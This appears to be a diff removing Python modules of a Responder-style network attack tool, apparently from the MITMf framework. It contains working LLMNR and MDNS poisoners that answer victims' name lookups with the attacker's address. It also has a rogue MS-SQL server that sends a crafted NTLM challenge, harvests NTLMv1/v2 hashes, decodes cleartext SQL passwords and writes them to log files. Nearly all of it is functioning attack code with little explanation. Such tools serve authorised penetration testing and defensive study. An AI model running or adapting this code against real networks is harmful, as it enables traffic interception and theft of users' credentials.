from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LLMNRpoisoner", formatter)
|
||||
|
||||
class LLMNRpoisoner:
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global args; args = options #For now a quick way to make argparse's namespace object available to all
|
||||
global OURIP ; OURIP = ourip #and our ip address
|
||||
|
||||
try:
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
|
||||
t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 5355: {}:".format(e))
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.252"
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
|
||||
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
#LLMNR Answer packet.
|
||||
class LLMNRAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x80\x00"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("QuestionNameLen", "\x09"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x01"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerNameLen", "\x09"),
|
||||
("AnswerName", ""),
|
||||
("AnswerNameNull", "\x00"),
|
||||
("Type1", "\x00\x01"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = socket.inet_aton(OURIP)
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
|
||||
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
NameLen = struct.unpack('>B',data[12])[0]
|
||||
Name = data[13:13+NameLen]
|
||||
return Name
|
||||
|
||||
# LLMNR Server class.
|
||||
class LLMNR(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
RespondToName = ResponderConfig['RespondToName']
|
||||
|
||||
data, soc = self.request
|
||||
try:
|
||||
if data[2:4] == "\x00\x00":
|
||||
if Parse_IPV6_Addr(data):
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
if args.analyze:
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
else:
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
return None
|
||||
|
||||
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
|
||||
return None
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
except:
|
||||
raise
|
|
@ -1,115 +0,0 @@
|
|||
import threading
|
||||
import socket
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MDNSpoisoner", formatter)
|
||||
|
||||
class MDNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global args; args = options
|
||||
global OURIP; OURIP = ourip
|
||||
|
||||
try:
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
|
||||
t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
log.error("Error starting on port 5353: {}" .format(e))
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.251"
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP))
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class MDNSAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", "\x00\x00"),
|
||||
("Flags", "\x84\x00"),
|
||||
("Question", "\x00\x00"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("AnswerName", ""),
|
||||
("AnswerNameNull", "\x00"),
|
||||
("Type", "\x00\x01"),
|
||||
("Class", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = socket.inet_aton(OURIP)
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
|
||||
def Parse_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
NameLen = struct.unpack('>B',data[0])[0]
|
||||
Name = data[1:1+NameLen]
|
||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
return Name+'.'+Name_
|
||||
|
||||
def Poisoned_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
Name = data[:len(data)-5]
|
||||
return Name
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
data, soc = self.request
|
||||
if self.client_address[0] == "127.0.0.1":
|
||||
pass
|
||||
try:
|
||||
if args.analyze:
|
||||
if Parse_IPV6_Addr(data):
|
||||
log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
||||
soc.sendto(str(MDns),(MADDR,MPORT))
|
||||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if Parse_IPV6_Addr(data):
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
||||
soc.sendto(str(MDns),(MADDR,MPORT))
|
||||
else:
|
||||
pass
|
||||
except Exception:
|
||||
raise
|
|
@ -1,154 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
#MS-SQL Pre-login packet class
|
||||
class MSSQLPreLoginAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\x25"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\x00"),
|
||||
("VersionOffset", "\x00\x15"),
|
||||
("VersionLen", "\x00\x06"),
|
||||
("TokenType1", "\x01"),
|
||||
("EncryptionOffset", "\x00\x1b"),
|
||||
("EncryptionLen", "\x00\x01"),
|
||||
("TokenType2", "\x02"),
|
||||
("InstOptOffset", "\x00\x1c"),
|
||||
("InstOptLen", "\x00\x01"),
|
||||
("TokenTypeThrdID", "\x03"),
|
||||
("ThrdIDOffset", "\x00\x1d"),
|
||||
("ThrdIDLen", "\x00\x00"),
|
||||
("ThrdIDTerminator", "\xff"),
|
||||
("VersionStr", "\x09\x00\x0f\xc3"),
|
||||
("SubBuild", "\x00\x00"),
|
||||
("EncryptionStr", "\x02"),
|
||||
("InstOptStr", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
|
||||
|
||||
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
|
||||
|
||||
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
|
||||
|
||||
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
|
||||
|
||||
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
#Version
|
||||
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
|
||||
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
|
||||
#Encryption
|
||||
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
|
||||
#InstOpt
|
||||
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
|
||||
#ThrdIDOffset
|
||||
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
|
||||
|
||||
#MS-SQL NTLM Negotiate packet class
|
||||
class MSSQLNTLMChallengeAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\xc7"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\xed"),
|
||||
("SSPIBuffLen", "\xbc\x00"),
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
##Then calculate
|
||||
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
#AvPairs 6 len is always 00.
|
|
@ -1,129 +0,0 @@
|
|||
import struct
|
||||
import logging
|
||||
import threading
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from MSSQLPackets import *
|
||||
from core.responder.common import *
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MSSQLserver", formatter)
|
||||
|
||||
class MSSQLserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
|
||||
t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(1433, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = True
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
|
||||
def ParseSQLHash(data,client):
|
||||
SSPIStart = data[8:]
|
||||
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
if NthashLen == 24:
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
|
||||
log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
|
||||
log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
|
||||
log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
|
||||
if NthashLen > 60:
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
|
||||
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
|
||||
WriteData(outfile,Writehash,User+"::"+Domain)
|
||||
log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
|
||||
log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
|
||||
log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = []
|
||||
for x in Pwd:
|
||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
||||
return ''.join(Pw)
|
||||
|
||||
def ParseClearTextSQLPass(Data,client):
|
||||
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
|
||||
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
|
||||
PwdOffset = struct.unpack('<h',Data[52:54])[0]
|
||||
AppOffset = struct.unpack('<h',Data[56:58])[0]
|
||||
PwdLen = AppOffset-PwdOffset
|
||||
UsernameLen = PwdOffset-UsernameOffset
|
||||
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
||||
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
||||
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
||||
log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
|
||||
|
||||
def ParsePreLoginEncValue(Data):
|
||||
PacketLen = struct.unpack('>H',Data[2:4])[0]
|
||||
EncryptionValue = Data[PacketLen-7:PacketLen-6]
|
||||
if re.search("NTLMSSP",Data):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#MS-SQL server class.
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(0.1)
|
||||
##Pre-Login Message
|
||||
if data[0] == "\x12":
|
||||
buffer0 = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##NegoSSP
|
||||
if data[0] == "\x10":
|
||||
if re.search("NTLMSSP",data):
|
||||
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
||||
t.calculate()
|
||||
buffer1 = str(t)
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
